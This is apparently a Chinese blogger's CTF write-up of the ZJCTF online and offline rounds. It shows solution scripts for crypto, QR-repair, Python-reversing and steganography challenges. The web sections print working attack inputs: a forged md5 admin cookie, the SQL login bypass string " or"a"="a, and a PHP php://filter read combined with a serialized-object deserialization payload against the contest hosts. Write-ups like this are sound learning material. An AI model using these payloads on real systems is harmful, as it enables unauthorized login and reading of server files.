本来无一物,何处惹尘埃。
线上 这次的线上赛,体验比去年好一点,发挥要比去年好一点,感觉题目难度变大了一点。
flag是交括号里面的flag是交括号里面的flag是交括号里面的
欢迎参加
查看SourceCode
:
1 <head><meta charset =utf-8 > </head > <h1 > Please log in as an admin!!!</h1 >
通过non-reversible encryption
,首先想到了Hash
。用md5
计算之后得到21232f297a57a5a743894a0e4a801fc3
将Cookie
中的SESSION
值改为计算出的值 - -
提交后看到返回的结果中多了一个php
文件路径1ocation
- -
访问即可得到flag
:zjctf{we1c0meT_0zJ_Ctfzo1g}
白黑分明 玩一下游戏,可以看到有4个(输了之后是5个)文件:
大致都看了一下,其他四个都没啥问题,主要是game.js
里面有tell u the flag
。game.js
内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 (function ( ) { var speed = 7 ; var rowNum = 0 ; var panioKey = null ; var clickKeys = []; var blackKey = []; var score = 0 ; var timeId = null ; init = function ( ) { clear(); rowNum = Math .ceil($("#container" ).height() / 80 ) ; for (var i = 0 ; i < rowNum * 4 * 2 ; i++) { var $span = $("<span index=" +i+"></span>" ); $span.data(i.toString() , new PanioKey(i)); $("#grid" ).append($span); } $("#container" ).scrollTop( $("#grid" ).height() - $("#container" ).height() - 1 ); panioKey = $("#container #grid span" ); } addClickEvent = function ( ) { $("#container #grid span" ).click(function ( ) { if (!timeId) { return false ; } var index = $(this ).attr("index" ) ; var p = $(this ).data(index.toString()) ; if (!p.isBlackKey) { gameOver(); return false ; } var score = parseInt ($("#score" ).text()); $("#score" ).text(score + 1 ) ; setPanioState(index , p.isBlackKey , true ); clickKeys.push(index.toString()); }) } scroll = function ( ) { if ($("#container" ).scrollTop() <= rowNum * 80 - $("#container" ).height() + rowNum ) { $("#container" ).scrollTop( $("#grid" ).height() - $("#container" ).height() - 1 ); score = 0 ; onReset(); } else { $("#container" ).scrollTop($("#container" ).scrollTop() - 1 ); if ( $("#container" ).scrollTop() % 80 == 0 ) { onEnter($("#container" ).scrollTop() / 80 - 1 ); } score ++ ; if (score % 80 == 0 ) { onLeave(rowNum * 2 - score / 80 ); } } } onEnter = function onEnter (rowIndex ) { var random = parseInt (Math .random()*4 ); var index = (rowIndex * 4 ) + random ; $(panioKey[index]).css("backgroundColor" ,"#000" ); setPanioState(index , true , false ); blackKey.push(index); } onLeave = function onLeave (rowIndex ) { var startIndex = ( rowIndex * 4 ); var leaveArray = [startIndex , startIndex + 1 , startIndex + 2 , startIndex + 3 ]; leaveArray.some(function (value ) { var index = blackKey.indexOf(value) ; if (index != -1 ) { var pos = clickKeys.indexOf(value.toString()); if (pos != -1 ) clickKeys.splice(pos , 1 ); else gameOver(); blackKey.splice(index , 1 ); $(panioKey[value]).css("backgroundColor" ,"#fff" ); setPanioState(value , false , false ); } return index != -1 ; }) } clear = function clear ( ) { $("#grid" ).html("" ); $("#score" ).text("0" ); panioKey = null ; score = 0 ; blackKey = [] ; clickKeys = [] ; } startGame = function ( ) { $("#btn" ).attr("disabled" , true ); init(); addClickEvent(); timeId = setInterval( scroll , speed); } gameOver = function ( ) { clearInterval(timeId); timeId = null ; alert("游戏结束,您的分数还不够哦!^_^" ); console .log(score); $.ajax({ type: 'HEAD' , url : window .location.href, success: function (data, status, xhr ) { view(score, xhr.getResponseHeader('token' )) } }); $("#btn" ).attr("disabled" , false ); } onReset = function ( ) { var temp = [] ; blackKey = blackKey.map(function (value ) { $(panioKey[value]).css("backgroundColor" ,"#fff" ); setPanioState(value , false , false ); var index = value + rowNum * 4 ; $(panioKey[index]).css("backgroundColor" ,"#000" ); var pos = clickKeys.indexOf(value.toString()); if (pos != -1 ) temp.push(index.toString()); setPanioState(index , true , pos != -1 ); return index ; }) clickKeys = temp ; } setPanioState = function (index , isBlackKey , isClick ) { var p = $(panioKey[index]).data(index.toString()) ; p.isBlackKey = isBlackKey; p.isClick = isClick; var text = isClick ? "ok" : "" ; $(panioKey[index]).text(text); } PanioKey = function (index ) { this .index = index ; this .isClick = false ; this .isBlackKey = false ; } view = function (score, token ) { if (score < 600000 ) { return "hello kitty" ; } var http = new XMLHttpRequest(); var url = "/game/push" ; var params = "token=" + token; http.open("post" , url, true ); http.setRequestHeader("Content-type" , "application/x-www-form-urlencoded" ); http.onreadystatechange = function ( ) { if (http.readyState == 4 && http.status == 200 ) { } } http.send(params); return "hello world" ; } window .onload = startGame; })()
在最后可以看到拿到flag
的条件:
1 2 3 url:http://sec.hdu.edu.cn:7100/game/push params:token=blabla 请求方式:post
于是,直接访问http://sec.hdu.edu.cn:7100/game/push
然后POST
传Base64
解密后的token
即可:
得到flag
为:ZJCTF{th3_th3_0th3r_9iv3}
这道题,想骂一下自己,是我傻了,拿到了flag以为是假flag,几十分钟之后才发现是真flag,可以。👍
非黑即白
哟西这道题是小花姐做滴,密码题我看都不看
是Fesitel
结构,把16轮密钥反一下。
上脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from hashlib import sha256def xor (a,b) : result = [] for (i, j) in zip(a, b): result.append(chr(ord(i) ^ ord(j))) return "" .join(result) def HASH (msg) : return sha256(msg).digest()[:8 ] def zjctf_encrypt (gen_keys, hahahah) : i = 0 d1 = hahahah[:8 ] d2 = hahahah[8 :] d1, d2 = d2, d1 for i in gen_keys: d2= xor(xor(HASH(d1),d2),i) d1, d2 = d2, d1 return d1+d2 def gen_keymap (key) : maps = [] _ = key for i in xrange(16 ): _ = HASH(_) maps.append(_) maps.reverse() return maps def encrypt (key, data) : keys = gen_keymap(key) return zjctf_encrypt(keys, data) key="zzzzzjctffffffff" result = '3b70337736eaf0ec9bab6dadb09acc35' result=result.decode('hex' ) print encrypt(key, result)
flag:
未初始化
哟西这道题是队友做滴
www.fjt1.com
中国菜刀 二维码很好找。
方法一: 追踪一下TCP流,在8号流里面能看到有很多的文件 - -
再往下翻,看到了熟悉的文件头 - -
直接复制然后粘贴到Winhex
里面形成PNG
就是二维码。
方法二 :Export Objects HTTP:
fffffffffffffffffff.zip
文件名很别致,导出来就会发现是一张二维码图片。图片是这个样子 - -
虽然二维码早就拿到了,但是苦于不知道如何修复。刚开始试着手动修,然后发现对不起是我太天真了。 甚至开始怀疑可能还藏了其他东西,于是开始分析导出的其他文件。 后面这道题疯狂放提示,去看什么二维码协议。到最后4点过了感觉稳了,wp也交了,结果这道题还在放提示,,,反正也没事,就还是再做一下下叭,然后就赶着末班车交了flag。
二维码一般由三部分组成:
1 2 3 Function pattern:功能模式 Format&Version Information Pattern:格式和版本信息模式 Data Bits:数据位
具体参照下图 - -
Function pattern
二维码中基本都有,除了部分Timeing
和左下角方块的没有。方块补上去就🆗了,Timing
先不管。
Data Bits
才是二维码中编码的实际数据。但是如果真的是要修补完全部的数据位那我直接吐血叭…
所以就只剩下了Format&Version Information Pattern
。
它由Format error correction
,Mask pattern
和Error correction level
三部分构成,
其中EC Leve
l有L
,M
,Q
,H
四种,在修补的时候需要挨个尝试一下level
和Mask pattern
看看哪个是匹配的。
最后比赛的时候没有想那么多,去搜了一下二维码修复的软件:Google : QR code repair tool
然后就找到一个:https://merricx.github.io/qrazybox/
这个网站不能导入缺失了太多的Function pattern
的图像,会显示Couldn't find enough finder patterns
。所以需要手动将二维码左下角补一个方块然后再导入 - -
接下来需要修补左下角的Format information pattern
,逐个尝试看看是否匹配。成功匹配的模式是:
1 2 Error Correction Level:M Mask Pattern:1
设置好后如下 - -
这时候Extract QR Information
就能拿到flag
了。
1 zjctf{y0u_f1nd_me_1n_qrc0d3}
唉,感觉自己傻了很多次,再接再厉叭~
线下 比去年表现好一点,但是不太满意自己的表现,需要学习的东西还有很多。再一次被自己菜哭。不过,见到了老盆友们还是很开森呐~~
万能密码 刚开始窝和小花姐试的是单引号的,没想到改成双引号就行了,现场自闭。
1 2 3 " or"a"="a zjctf{Un1v3rsAl_pAs5w0rd_Usef^L}
逆转思维
听说是Bugku的原题?听说去年好几道都是Bugku的原题?听说明年在我们学校?猜猜我们去哪个OJ找原题?
index.php
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php $text = $_GET["text" ]; $file = $_GET["file" ]; $password = $_GET["password" ]; if (isset ($text)&&(file_get_contents($text,'r' )==="welcome to the zjctf" )){ echo "<br><h1>" .file_get_contents($text,'r' )."</h1></br>" ; if (preg_match("/flag/" ,$file)){ echo "Not now!" ; exit (); }else { include ($file); $password = unserialize($password); echo $password; } } else { highlight_file(__FILE__ ); } ?>
text
参数的内容应该指向welcome to the zjctf
,所以可以构造text=php://input
,然后POST
上面那串字符串就能过第一个判断。
或者用text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
也可以。
然后注意到file
后面提示是useless.php
,
当时看这意思翻译过来是没用的php文件
,所以就没在意了,,,后来才发现不对,,哦好像是要读这个PHP
文件的嗷。。dbq是我傻了。。。
直接构造伪协议读取:
1 text=php://input&file=php://filter/convert.base64-encode/resource=useless.php
将返回的内容b64
解码一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class Flag { public $file; public function __tostring () { if (isset ($this ->file)){ echo file_get_contents($this ->file); echo "<br>" ; return ("HAHAHAHAHA" ); } } } ?>
据此,需要使password
参数获取Flag
类中的file
变量,可以构造一个反序列化:
1 2 3 4 5 6 $password=new Flag(); $password->file='flag.php'; $password=serialize($password); echo $password; O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
payload:
1 2 3 4 5 6 7 http://172.16.0.102:54321/JgJUfyW1wT?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} or http://172.16.0.102:54321/JgJUfyW1wT?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} zjctf{Un5er1All2e_D3ver5e_Mln0}
贰零肆捌
代码看得我自闭了…
在game_manager.js
里面,将score
改成15000 - -
然后发现并没有什么反应,然后随便玩,玩到Game Over
的时候,会发现多了好多个index
,里面就有flag
- -
ZJCTF{t0_p0is0n3d_by_i}
清廉校园
后面放出来的附加题,秒出的misc
题目,不知道是哪位大兄dei放的,实在是太感动了❤❤❤
图片末尾有一串凯撒加密过的密文:gqjam{dlsjvtlavokbzljshi}
解密一下:zjctf{welcometohduseclab}
以上是线下咱们做粗来的题目,赛后和兄dei萌交流了一下,感觉遗憾贼多…
下面两道是赛后做的,,都怪窝,,本来还能出一道的,,哭了
反推蟒蛇
2017强网杯原题,披着ZJCTF的外衣,,但是我忘了咋做的了,,都怪窝,,
给了encrypt.pyo
和flag.enc
两个文件,直接使用uncompyle6
反编译encrypt.pyo
文件:
1 uncompyle6 encrypt.pyo > encrypt.py
encrypt.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # uncompyle6 version 3.4.0 # Python bytecode 2.7 (62211) # Decompiled from: Python 2.7.16+ (default, Sep 4 2019, 08:19:57) # [GCC 9.2.1 20190827] # Embedded file name: encrypt.py # Compiled at: 2017-07-11 05:19:27 from random import randint from math import floor, sqrt _ = '' __ = '_' ____ = [ ord(___) for ___ in __ ] _____ = randint(65, max(____)) * 255 for ___ in range(len(__)): _ += str(int(floor(float(_____ + ____[___]) / 2 + sqrt(_____ * ____[___])) % 255)) + ' ' print _ # okay decompiling encrypt.pyo
代码的意思是,获取__
的ascii码值,然后在65和ascii码值之间取随机数再乘以255,然后循环计算。输出为flag.enc
里面的内容,所以反推flag。
遍历65~127,计算出字符加密后的结果,然后和flag.enc
中的字符串进行匹配。
solution.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from random import randint from math import floor, sqrt num = [i for i in range(65,127)] encry=[57, 183, 124, 9, 149, 65, 245, 166, 175, 1, 226, 106, 216, 132, 224, 208, 139, 1, 188, 224, 9, 235, 106, 149, 141, 80] for j in range(65*255,127*255,255): dic={} for i in range(len(num)): inte = int(floor(float(j + num[i]) / 2 + sqrt(j * num[i])) % 255) dic[inte] = chr(num[i]) try: flag=''.join([dic[i] for i in encry]) print flag except: pass
zjctf{ThisRandomIsNotSafe}
加载页面 给了一张loading.png - -
binwalk
看了一下,藏了一个压缩包;
导出来解压叭,发现有密码;
爆破叭,纯数字纯字母数字加字母再加特殊符号,跑不出来,看来爆破是行不通的;
看一下标志位叭,可能是伪加密,嗯发现改了标志位也不行,看来伪加密是行不通的;
嗯赛后文静哥说应该是压缩率的问题,需要改,啊听起来太难了,什么鬼题;
嗯去找小林子玩耍,嗷她说loading上面是个条形码,
瓦特?什么条形码?窝怎么没看到?
你没看到吗?就在loading60%上面啊,那么明显的!
啊???(黑人问号
刚才开个电脑再看了一下,依然不觉得像是条形码,,
如果再来一次,我还是看不粗来那是个条形码,,
好叭,扫出来的结果是may6e_us3ful
,嗯这就是压缩包的密码…解压出来是这套算法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import numpy as npfrom scipy.misc import imread, imsaveimg_name = "loading.png" words = '''ZJCTF{****************}''' bits = [] for w in words: bits += "{:0>8d}" .format(int(bin(ord(w))[2 :])) cnt = 0 img = imread(img_name) for x in range(img.shape[1 ]): for y in range(img.shape[0 ]): if img[y][x][0 ] <= 97 : img[y][x][0 ] = 2 if cnt == len(bits): continue if int(bits[cnt]) == 0 : img[y][x][0 ] = 2 else : img[y][x][0 ] = 3 cnt += 1 imsave("loading.png" , img)
解密脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import numpyfrom imageio import imreadfile_name = 'loading.png' img = imread(file_name) cnt = 0 flag = [] temp = [] for x in range(img.shape[1 ]): for y in range(img.shape[0 ]): if (img[y][x][0 ] <= 97 ): if (cnt == 184 ): continue if (img[y][x][0 ] == 2 ): flag.append(0 ) elif (img[y][x][0 ] == 3 ): flag.append(1 ) cnt += 1 for i in range(0 ,len(flag),8 ): temp = flag[i:i+8 ] a = '' for j in range(len(temp)): a += str(temp[j]) a = int(a,2 ) print(chr(a),end = '' )
ZJCTF{st3gan0_1s_ea5y}
杭电的师傅实在是…太猛了…❤
🐂🍺